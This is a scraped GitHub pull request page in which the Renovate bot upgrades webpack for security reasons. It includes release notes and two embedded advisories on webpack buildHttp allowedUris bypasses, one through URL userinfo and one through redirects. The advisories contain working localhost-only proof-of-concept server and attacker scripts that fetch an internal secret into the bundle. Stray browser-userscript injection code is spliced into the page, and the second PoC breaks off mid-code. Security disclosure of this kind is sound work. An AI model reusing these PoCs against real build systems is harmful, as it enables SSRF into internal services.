This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Release Notes
webpack/webpack (webpack)
v5.104.1
Compare Source
Patch Changes
  • 2efd21b: Reexports runtime calculation should not accessing WEBPACK_IMPORT_KEY decl with var.
  • c510070: Fixed a user information bypass vulnerability in the HttpUriPlugin plugin.
v5.104.0
Compare Source
Minor Changes
  • d3dd841: Use method shorthand to render module content in __webpack_modules__ object.
  • d3dd841: Enhance import.meta.env to support object access.
  • 4baab4e: Optimize dependency sorting in updateParent: sort each module only once by deferring to finishUpdateParent(), and reduce traversal count in sortWithSourceOrder by caching WeakMap values upfront.
  • 04cd530: Handle more at-rules for CSS modules.
  • cafae23: Added options to control the renaming of at-rules and various identifiers in CSS modules.
  • d3dd841: Added base64url, base62, base58, base52, base49, base36, base32 and base25 digests.
  • 5983843: Provide a stable runtime function variable __webpack_global__.
  • d3dd841: Improved localIdentName hashing for CSS.
Patch Changes
  • 22c48fb: Added module existence check for informative error message in development mode.
  • 50689e1: Use the fully qualified class name (or export name) for [fullhash] placeholder in CSS modules.
  • d3dd841: Support universal lazy compilation.
  • d3dd841: Fixed module library export definitions when multiple runtimes.
  • d3dd841: Fixed CSS nesting and CSS custom properties parsing.
  • d3dd841: Don't write fragment from URL to filename and apply fragment to module URL.
  • aab1da9: Fixed bugs for css/global type.
  • d3dd841: Compatibility import.meta.filename and import.meta.dirname with eval devtools.
  • d3dd841: Handle nested __webpack_require__.
  • 728ddb7: The speed of identifier parsing has been improved.
  • 0f8b31b: Improve types.
  • d3dd841: Don't corrupt debugId injection when hidden-source-map is used.
  • 2179fdb: Re-validate HttpUriPlugin redirects against allowedUris, restrict to http(s) and add a conservative redirect limit to prevent SSRF and untrusted content inclusion. Redirects failing policy are rejected before caching/lockfile writes.
  • d3dd841: Serialize HookWebpackError.
  • d3dd841: Added ability to use built-in properties in dotenv and define plugin.
  • 3c4319f: Optimizing the regular expression character class by specifying ranges for runtime code.
  • d3dd841: Reduce collision for local indent name in CSS.
  • d3dd841: Remove CSS link tags when CSS imports are removed.
v5.103.0
Compare Source
Features
  • Added DotenvPlugin and top level dotenv option to enable this plugin
  • Added WebpackManifestPlugin
  • Added support the ignoreList option in devtool plugins
  • Allow to use custom javascript parse function
  • Added import.meta.env support for environment variables
  • Added support for import.meta.dirname and import.meta.filename
  • Added support import.defer() for statistical path
  • Handle import.meta.main
  • Added suport to setup named exports for JSON modules and disable usage named export for import file from "./file.json" with { type: "json" }
  • Added support __dirname/__filename/import.meta.dirname/import.meta.filename for universal target
  • [CSS] Added the exportType option with link (by default), "text" and css-style-sheet values
  • [CSS] Added support for composes properties
Fixes
  • The dependOn chunk must be loaded before the common chunk
  • Return to namespace import when the external request includes a specific export
  • No runtime extra runtime code for module libraries
  • Delay HMR accept dependencies to preserve import attributes
  • Properly handle external presets for universal target
  • Fixed incorrect identifier of import binding for module externals
  • Fixed when defer import and dynamic default export mixed
  • Reduce generated output when globalThis supported
  • Fixed loading async modules in defer import
  • Reexport module for default import when no used exports for systemjs library
  • Rename HarmonyExportDependencyParserPlugin exported id to CompatibilityPlugin tagged id
  • Handle __dirname and __filename for ES modules
  • Rename single nested __webpack_export__ and __webpack_require__ in already bundled code
  • [Types] webpack function type
  • [Types] NormalModule type
  • [Types] Multi compiler configuration type
  • [Types] Fixed regression in custom hashDigest type
  • [CSS] No extra runtime for initial chunk
  • [CSS] Fixed a lot of CSS modules bugs
v5.102.1
Compare Source
Fixes
  • Supported extends with env for browserslist
  • Supported JSONP fragment format for web workers.
  • Fixed dynamic import support in workers using browserslist.
  • Fixed default defer import mangling.
  • Fixed default import of commonjs externals for SystemJS format.
  • Fixed context modules to the same file with different import attributes.
  • Fixed typescript types.
  • Improved import.meta warning messages to be more clear when used directly.
  • [CSS] Fixed CC_UPPER_U parsing (E -> U) in tokenizer.
v5.102.0
Compare Source
Features
  • Added static analyze for dynamic imports
  • Added support for import file from "./file.ext" with { type: "bytes" } to get the content as Uint8Array (look at example)
  • Added support for import file from "./file.ext" with { type: "text" } to get the content as text (look at example)
  • Added the snapshot.contextModule to configure snapshots options for context modules
  • Added the extractSourceMap option to implement the capabilities of loading source maps by comment, you don't need source-map-loader (look at example)
  • The topLevelAwait experiment is now stable (you can remove experiments.topLevelAwait from your webpack.config.js)
  • The layers experiment is now stable (you can remove experiments.layers from your webpack.config.js)
  • Added function matcher support in rule options
Fixes
  • Fixed conflicts caused by multiple concatenate modules
  • Ignore import failure during HMR update with ES modules output
  • Keep render module order consistent
  • Prevent inlining modules that have this exports
  • Removed unused timeout attribute of script tag
  • Supported UMD chunk format to work in web workers
  • Improved CommonJs bundle to ES module library
  • Use es-lexer for mjs files for build dependencies
  • Fixed support __non_webpack_require__ for ES modules
  • Properly handle external modules for CSS
  • AssetsByChunkName included assets from chunk.auxiliaryFiles
  • Use createRequire only when output is ES module and target is node
  • Typescript types
Performance Improvements
  • Avoid extra calls for snapshot
  • A avoid extra jobs for build dependencies
  • Move import attributes to own dependencies
Configuration
📅 Schedule: (in timezone America/New_York)
  • Branch creation

    • At any time (no schedule defined)
  • Automerge

    • At any time (no schedule defined)
🚦 Automerge: Enabled.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about these updates again.
  •  If you want to rebase/retry this PR, check this box
This PR was generated by Mend Renovate. View the repository job log.
@renovate
renovateBot
requested a review
from a teamFebruary 7, 2026 20:44
@renovaterenovateBot
added
the 
dependencies
Upgrade or downgrade of project dependencies.
label
Feb 7, 2026
@renovate
renovateBot
requested review from
a team and sullivanpj
as code ownersFebruary 7, 2026 20:44
@renovaterenovateBot
added
the 
dependencies
Upgrade or downgrade of project dependencies.
label
Feb 7, 2026
@renovate
renovateBot
enabled auto-merge (squash)
February 7, 2026 20:45
@renovate
renovateBot
commented
Feb 7, 2026

Copy link


Copy Markdown

ContributorAuthor
Branch automerge failure
This PR was configured for branch automerge. However, this is not possible, so it has been raised as a PR instead.
@deepsource-io
deepsource-ioBot
commented
Feb 7, 2026•

edited

Loading

Copy link


Copy Markdown

DeepSource Code Review
We reviewed changes in 242a5a8...fa5481a on this pull request. Below is the summary for the review, and you can see the individual issues we found as inline review comments.
See full review on DeepSource ↗
PR Report Card
Overall GradeSecurity

Reliability

Complexity

Hygiene
Code Review Summary
AnalyzerStatusUpdated (UTC)Details
JavaScriptMar 26, 2026 9:01p.m.Review ↗
ShellMar 26, 2026 9:01p.m.Review ↗
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
5a17899 to
3d46fe8CompareFebruary 12, 2026 11:32
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.1 [security]Feb 12, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
3d46fe8 to
ec73d92CompareFebruary 12, 2026 17:18
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Feb 12, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
ec73d92 to
2c09d49CompareFebruary 16, 2026 15:16
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]Feb 16, 2026
@socket-security
socket-securityBot
commented
Feb 16, 2026•

edited

Loading

Copy link


Copy Markdown

Review the following changes in direct dependencies. Learn more about Socket for GitHub.
DiffPackageSupply Chain
Security		VulnerabilityQualityMaintenanceLicense
Added@​nx/​esbuild@​21.5.31001007199100
Added@​storm-software/​tsdoc@​0.13.1347610010098100
Addeddefu@​6.1.410010010080100
Addeddate-fns@​4.1.0981009280100
Added@​nx/​jest@​21.5.3991009299100
Added@​nx/​devkit@​21.5.3981009399100
Added@​nx/​js@​21.5.3981009399100
Added@​nuxt/​schema@​4.1.29910010094100
Added@​nuxt/​kit@​4.1.29910010094100
View full report
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
2c09d49 to
b2d5813CompareFebruary 16, 2026 19:11
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Feb 16, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
b2d5813 to
f8e7705CompareFebruary 17, 2026 16:50
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]Feb 17, 2026
@socket-security
socket-securityBot
commented
Feb 17, 2026•

edited

Loading

Copy link


Copy Markdown

Warning
Review the following alerts detected in dependencies.
According to your organization's Security Policy, it is recommended to resolve "Warn" alerts. Learn more about Socket for GitHub.
ActionSeverityAlert (click "▶" to expand/collapse)
WarnHigh
Obfuscated code: npm buffer is 96.0% likely obfuscated
Confidence: 0.96
Location:Package overview
From:pnpm-lock.yaml → npm/buffer@4.9.2
ℹ Read more on: This package | This alert | What is obfuscated code?
Next steps: Take a moment to review the security alert above. Review
the linked package source code to understand the potential risk. Ensure the
package is not malicious before proceeding. If you're unsure how to proceed,
reach out to your security team or ask the Socket team for help at
support@socket.dev.

Suggestion: Packages should not obfuscate their code. Consider not using packages with obfuscated code.
Mark the package as acceptable risk. To ignore this alert only
in this pull request, reply with the comment
@SocketSecurity ignore npm/buffer@4.9.2. You can
also ignore all packages with @SocketSecurity ignore-all.
To ignore an alert for all future pull requests, use Socket's Dashboard to
change the triage state of this alert.

View full report
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
f8e7705 to
a99b711CompareFebruary 17, 2026 23:33
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Feb 17, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
a99b711 to
9de95edCompareFebruary 20, 2026 13:35
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]Feb 20, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
9de95ed to
87b107bCompareFebruary 20, 2026 17:48
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Feb 20, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
87b107b to
dba3e1eCompareFebruary 24, 2026 15:04
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]Feb 24, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
dba3e1e to
8a41fc8CompareFebruary 24, 2026 20:07
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Feb 24, 2026

auto-merge was automatically disabled
March 27, 2026 02:22
Pull request was closed
@renovate
renovateBot
deleted the

renovate/npm-webpack-vulnerability

branch
March 27, 2026 02:22
@storm-softwarestorm-software
locked and limited conversation to collaborators
Mar 28, 2026
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security] - autoclosedchore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Mar 30, 2026
@renovaterenovateBot
reopened this
Mar 30, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
3 times, most recently
from
438605d to
b2afe26CompareApril 1, 2026 17:04
@renovate
renovateBot
enabled auto-merge (squash)
April 1, 2026 17:04
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.4 [security]Apr 1, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
b2afe26 to
dce06daCompareApril 1, 2026 22:14
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.4 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Apr 1, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
dce06da to
46a2c11CompareApril 8, 2026 21:09
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.106.0 [security]Apr 8, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
46a2c11 to
7307f35CompareApril 9, 2026 00:38
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.106.0 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Apr 9, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
7307f35 to
2c45c07CompareApril 15, 2026 09:59
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.106.1 [security]Apr 15, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
2c45c07 to
780a625CompareApril 16, 2026 10:40
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.106.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Apr 16, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
780a625 to
f2b9bceCompareApril 16, 2026 17:12
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.106.2 [security]Apr 16, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
f2b9bce to
06d0d2aCompareApril 16, 2026 21:24
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.106.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Apr 16, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
06d0d2a to
31bab0bCompareApril 21, 2026 21:56
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.106.2 [security]Apr 21, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
31bab0b to
90273adCompareApril 22, 2026 03:18
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.106.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Apr 22, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
90273ad to
fd22a30CompareApril 23, 2026 11:55
Sign up for freeto subscribe to this conversation on GitHub.
Already have an account?
Sign in.


Reviewers

@sullivanpjsullivanpjAwaiting requested review from sullivanpjsullivanpj is a code owner

At least 1 approving review is required to merge this pull request.


Assignees


No one assigned


Labels

dependenciesUpgrade or downgrade of project dependencies.

Projects


None yet


Milestone


No milestone


Development

Successfully merging this pull request may close these issues.

0 participants


, 'i');
if (__m === '*' || __re.test(location.href)) {
injectUserscript("// Auto-enable theater mode on YouTube\n(function() {\n function tryTheater() {\n var btn = document.querySelector('button[aria-label=\"Theater mode\"], ytd-player #player button[title=\"Theater mode\"]');\n if (btn && !btn.classList.contains('activated')) {\n btn.click();\n }\n }\n \n // Try immediately\n tryTheater();\n \n // Try after navigation (SPA)\n var lastUrl = location.href;\n setInterval(function() {\n if (location.href !== lastUrl) {\n lastUrl = location.href;\n setTimeout(tryTheater, 500);\n }\n }, 1000);\n \n // Also try on player load\n var observer = new MutationObserver(tryTheater);\n observer.observe(document.body, { childList: true, subtree: true });\n})();", "YouTube Theater Mode Default");
}
} catch(__e) { console.warn('[Userscript:YouTube Theater Mode Default]', __e); }
})();
(function(){
try {
var __m = "*";
var __re = new RegExp('^' + ".*" + '

Skip to content
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security] - #208
Open
renovate[bot] wants to merge 1 commit into
mainfrom 
renovate/npm-webpack-vulnerability
Open
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]#208
renovate[bot] wants to merge 1 commit into
mainfrom 
renovate/npm-webpack-vulnerability
Conversation
@renovate
@renovaterenovateBot
commented
Feb 7, 2026•

edited

Loading

Copy link


Copy Markdown

Contributor
This PR contains the following updates:
PackageChangeAgeConfidence
webpack^5.101.3 → ^5.104.1ageconfidence
webpack buildHttp: allowedUris allow-list bypass via URL userinfo (@​) leading to build-time SSRF behavior
CVE-2025-68458 / GHSA-8fgc-7cc6-rx7x
More information
Details
Summary
When experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) can be bypassed to fetch resources from hosts outside allowedUris by using crafted URLs that include userinfo (username:password@host). If allowedUris enforcement relies on a raw string prefix check (e.g., uri.startsWith(allowed)), a URL that looks allow-listed can pass validation while the actual network request is sent to a different authority/host after URL parsing. This is a policy/allow-list bypass that enables build-time SSRF behavior (outbound requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion (the fetched response is treated as module source and bundled). In my reproduction, the internal response was also persisted in the buildHttp cache.
Reproduced on:
  • webpack version: 5.104.0
  • Node version: v18.19.1
Details
Root cause (high level):allowedUris validation can be performed on the raw URI string, while the actual request destination is determined later by parsing the URL (e.g., new URL(uri)), which interprets the authority as the part after @.
Example crafted URL:
  • http://127.0.0.1:9000@127.0.0.1:9100/secret.js
If the allow-list is ["http://127.0.0.1:9000"], then:
  • Raw string check:
    crafted.startsWith("http://127.0.0.1:9000") → true
  • URL parsing (WHAT new URL() will contact):
    origin → http://127.0.0.1:9100 (host/port after @)
As a result, webpack fetches http://127.0.0.1:9100/secret.js even though allowedUris only included http://127.0.0.1:9000.
Evidence from reproduction:
  • Server logs showed the internal-only endpoint being fetched:

    • [internal] 200 /secret.js served (...) (observed multiple times)
  • Attacker-side build output showed:

    • the internal secret marker was present in the bundle
    • the internal secret marker was present in the buildHttp cache
image-2
PoC
This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.
1) Setup
mkdir split-userinfo-poc &&cd split-userinfo-poc
npm init -y
npm i -D webpack webpack-cli
2) Create server.js
#!/usr/bin/env node
"use strict";consthttp=require("http");constALLOWED_PORT=9000;// allowlisted-looking hostconstINTERNAL_PORT=9100;// actual target if bypass succeedsconstsecret=`INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;constinternalPayload=`// internal-only\n`+`export const secret = ${JSON.stringify(secret)};\n`+`export default "ok";\n`;functionlisten(port,handler){returnnewPromise(resolve=>{consts=http.createServer(handler);s.listen(port,"127.0.0.1",()=>resolve(s));});}(async()=>{// "Allowed" host (should NOT be contacted if bypass works as intended)awaitlisten(ALLOWED_PORT,(req,res)=>{console.log(`[allowed-host] ${req.method}${req.url} (should NOT be hit in userinfo bypass)`);res.statusCode=200;res.setHeader("Content-Type","application/javascript; charset=utf-8");res.end(`export default "ALLOWED_HOST_WAS_HIT_UNEXPECTEDLY";\n`);});// Internal-only service (SSRF-like target)awaitlisten(INTERNAL_PORT,(req,res)=>{if(req.url==="/secret.js"){console.log(`[internal] 200 /secret.js served (secret=${secret})`);res.statusCode=200;res.setHeader("Content-Type","application/javascript; charset=utf-8");res.end(internalPayload);return;}console.log(`[internal] 404 ${req.method}${req.url}`);res.statusCode=404;res.end("not found");});console.log("\nServers up:");console.log(`- allowed-host (should NOT be contacted): http://127.0.0.1:${ALLOWED_PORT}/`);console.log(`- internal target (should be contacted if vulnerable): http://127.0.0.1:${INTERNAL_PORT}/secret.js`);})();
2) Create server.js
#!/usr/bin/env node
"use strict";constpath=require("path");constos=require("os");constfs=require("fs/promises");constwebpack=require("webpack");functionfmtBool(b){returnb ? "✅" : "❌";}asyncfunctionwalk(dir){constout=[];letitems;try{items=awaitfs.readdir(dir,{withFileTypes: true});}catch{returnout;}for(constitofitems){constp=path.join(dir,it.name);if(it.isDirectory())out.push(...awaitwalk(p));elseif(it.isFile())out.push(p);}returnout;}asyncfunctionfileContains(f,needle){try{constbuf=awaitfs.readFile(f);consts1=buf.toString("utf8");if(s1.includes(needle))returntrue;consts2=buf.toString("latin1");returns2.includes(needle);}catch{returnfalse;}}(async()=>{constwebpackVersion=require("webpack/package.json").version;constALLOWED_PORT=9000;constINTERNAL_PORT=9100;// NOTE: allowlist is intentionally specified without a trailing slash// to demonstrate the risk of raw string prefix checks.constallowedUri=`http://127.0.0.1:${ALLOWED_PORT}`;// Crafted URL using userinfo so that:// - The string begins with allowedUri// - The actual authority (host:port) after '@' is INTERNAL_PORTconstcrafted=`http://127.0.0.1:${ALLOWED_PORT}@127.0.0.1:${INTERNAL_PORT}/secret.js`;constparsed=newURL(crafted);consttmp=awaitfs.mkdtemp(path.join(os.tmpdir(),"webpack-httpuri-userinfo-poc-"));constsrcDir=path.join(tmp,"src");constdistDir=path.join(tmp,"dist");constcacheDir=path.join(tmp,".buildHttp-cache");constlockfile=path.join(tmp,"webpack.lock");constbundlePath=path.join(distDir,"bundle.js");awaitfs.mkdir(srcDir,{recursive: true});awaitfs.mkdir(distDir,{recursive: true});awaitfs.writeFile(path.join(srcDir,"index.js"),`import { secret } from ${JSON.stringify(crafted)};console.log("LEAKED_SECRET:", secret);export default secret;`);constconfig={context: tmp,mode: "development",entry: "./src/index.js",output: {path: distDir,filename: "bundle.js"},experiments: {buildHttp: {allowedUris: [allowedUri],cacheLocation: cacheDir,lockfileLocation: lockfile,upgrade: true}}};console.log("\n[ENV]");console.log(`- webpack version: ${webpackVersion}`);console.log(`- node version: ${process.version}`);console.log(`- allowedUris: ${JSON.stringify([allowedUri])}`);console.log("\n[CRAFTED URL]");console.log(`- import specifier: ${crafted}`);console.log(`- WHAT startsWith() sees: begins with "${allowedUri}" => ${fmtBool(crafted.startsWith(allowedUri))}`);console.log(`- WHAT URL() parses:`);console.log(` - username: ${JSON.stringify(parsed.username)} (userinfo)`);console.log(` - password: ${JSON.stringify(parsed.password)} (userinfo)`);console.log(` - hostname: ${parsed.hostname}`);console.log(` - port: ${parsed.port}`);console.log(` - origin: ${parsed.origin}`);console.log(` - NOTE: request goes to origin above (host/port after @), not to "${allowedUri}"`);constcompiler=webpack(config);compiler.run(async(err,stats)=>{try{if(err)throwerr;constinfo=stats.toJson({all: false,errors: true,warnings: true});if(stats.hasErrors()){console.error("\n[WEBPACK ERRORS]");console.error(info.errors);process.exitCode=1;return;}constbundle=awaitfs.readFile(bundlePath,"utf8");constm=bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);constfoundSecret=m ? m[0] : null;console.log("\n[RESULT]");console.log(`- temp dir: ${tmp}`);console.log(`- bundle: ${bundlePath}`);console.log(`- lockfile: ${lockfile}`);console.log(`- cacheDir: ${cacheDir}`);console.log("\n[SECURITY CHECK]");console.log(`- bundle contains INTERNAL_ONLY_SECRET_* : ${fmtBool(!!foundSecret)}`);if(foundSecret){constlockHit=awaitfileContains(lockfile,foundSecret);constcacheFiles=awaitwalk(cacheDir);letcacheHit=false;for(constfofcacheFiles){if(awaitfileContains(f,foundSecret)){cacheHit=true;break;}}console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);console.log(`- cache contains secret: ${fmtBool(cacheHit)}`);}}catch(e){console.error(e);process.exitCode=1;}finally{compiler.close(()=>{});}});})();
4) Run
Terminal A:
node server.js
Terminal B:
node attacker.js
5) Expected vs Actual
Expected: The import should be blocked because the effective request destination is http://127.0.0.1:9100/secret.js, which is outside allowedUris (only http://127.0.0.1:9000 is allow-listed).
Actual: The crafted URL passes the allow-list prefix validation, webpack fetches the internal-only resource on port 9100 (confirmed by server logs), and the secret marker appears in the bundle and buildHttp cache.
Impact
Vulnerability class: Policy/allow-list bypass leading to build-time SSRF behavior and untrusted content inclusion in build outputs.
Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary. If an attacker can influence the imported HTTP(S) specifier (e.g., via source contribution, dependency manipulation, or configuration), they can cause outbound requests from the build environment to endpoints outside the allow-list (including internal-only services, subject to network reachability). The fetched response can be treated as module source and included in build outputs and persisted in the buildHttp cache, increasing the risk of leakage or supply-chain contamination.
Severity
  • CVSS Score: 3.7 / 10 (Low)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
webpack buildHttp HttpUriPlugin allowedUris bypass via HTTP redirects → SSRF + cache persistence
CVE-2025-68157 / GHSA-38r7-794h-5758
More information
Details
Summary
When experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). In my reproduction, the internal response is also persisted in the buildHttp cache.
Details
In the HTTP scheme resolver, the allow-list check (allowedUris) is performed when metadata/info is created for the original request (via getInfo()), but the content-fetch path follows redirects by resolving the Location URL without re-checking whether the redirected URL is within allowedUris.
Practical consequence: if an “allowed” host/path can return a 302 (or has an open redirect), it can point to an external URL or an internal-only URL (SSRF). The redirected response is consumed as module content, bundled, and can be cached. If the redirect target is attacker-controlled, this can potentially result in attacker-controlled JavaScript being bundled and later executed when the resulting bundle runs.
Figure 1 (evidence screenshot): left pane shows the allowed host issuing a 302 redirect to http://127.0.0.1:9100/secret.js; right pane shows the build output confirming allow-list bypass and that the secret appears in the bundle and buildHttp cache.
image
PoC
This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.
1) Setup
mkdir split-ssrf-poc &&cd split-ssrf-poc
npm init -y
npm i -D webpack webpack-cli
2) Create server.js
#!/usr/bin/env node
"use strict";consthttp=require("http");consturl=require("url");constallowedPort=9000;constinternalPort=9100;constinternalUrlDefault=`http://127.0.0.1:${internalPort}/secret.js`;constsecret=`INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;constinternalPayload=`export const secret = ${JSON.stringify(secret)};\n`+`export default "ok";\n`;functionstart(port,handler){returnnewPromise(resolve=>{consts=http.createServer(handler);s.listen(port,"127.0.0.1",()=>resolve(s));});}(async()=>{// Internal-only service (SSRF target)awaitstart(internalPort,(req,res)=>{if(req.url==="/secret.js"){res.statusCode=200;res.setHeader("Content-Type","application/javascript; charset=utf-8");res.end(internalPayload);console.log(`[internal] 200 /secret.js served (secret=${secret})`);return;}res.statusCode=404;res.end("not found");});// Allowed host (redirector)awaitstart(allowedPort,(req,res)=>{constparsed=url.parse(req.url,true);if(parsed.pathname==="/redirect.js"){constto=parsed.query.to||internalUrlDefault;// Safety guard: only allow redirecting to localhost internal service in this PoCif(!to.startsWith(`http://127.0.0.1:${internalPort}/`)){res.statusCode=400;res.end("to must be internal-only in this PoC");console.log(`[allowed] blocked redirect to: ${to}`);return;}res.statusCode=302;res.setHeader("Location",to);res.end("redirecting");console.log(`[allowed] 302 /redirect.js -> ${to}`);return;}res.statusCode=404;res.end("not found");});console.log(`\nServer running:`);console.log(`- allowed host: http://127.0.0.1:${allowedPort}/redirect.js`);console.log(`- internal-only: http://127.0.0.1:${internalPort}/secret.js`);})();
3) Create attacker.js
#!/usr/bin/env node
"use strict";constpath=require("path");constos=require("os");constfs=require("fs/promises");constwebpack=require("webpack");constwebpackPkg=require("webpack/package.json");constallowedPort=9000;constinternalPort=9100;constallowedBase=`http://127.0.0.1:${allowedPort}/`;constinternalTarget=`http://127.0.0.1:${internalPort}/secret.js`;constentryUrl=`${allowedBase}redirect.js?to=${encodeURIComponent(internalTarget)}`;asyncfunctionwalk(dir){constout=[];constitems=awaitfs.readdir(dir,{withFileTypes: true});for(constitofitems){constp=path.join(dir,it.name);if(it.isDirectory())out.push(...awaitwalk(p));elseif(it.isFile())out.push(p);}returnout;}asyncfunctionfileContains(f,needle){try{constbuf=awaitfs.readFile(f);returnbuf.toString("utf8").includes(needle)||buf.toString("latin1").includes(needle);}catch{returnfalse;}}asyncfunctionfindInFiles(files,needle){consthits=[];for(constfoffiles)if(awaitfileContains(f,needle))hits.push(f);returnhits;}constfmtBool=b=>(b ? "✅" : "❌");(async()=>{consttmp=awaitfs.mkdtemp(path.join(os.tmpdir(),"webpack-attacker-"));constsrcDir=path.join(tmp,"src");constdistDir=path.join(tmp,"dist");constcacheDir=path.join(tmp,".buildHttp-cache");constlockfile=path.join(tmp,"webpack.lock");constbundlePath=path.join(distDir,"bundle.js");awaitfs.mkdir(srcDir,{recursive: true});awaitfs.mkdir(distDir,{recursive: true});awaitfs.writeFile(path.join(srcDir,"index.js"),`import { secret } from ${JSON.stringify(entryUrl)};console.log("LEAKED_SECRET:", secret);export default secret;`);constconfig={context: tmp,mode: "development",entry: "./src/index.js",output: {path: distDir,filename: "bundle.js"},experiments: {buildHttp: {allowedUris: [allowedBase],cacheLocation: cacheDir,lockfileLocation: 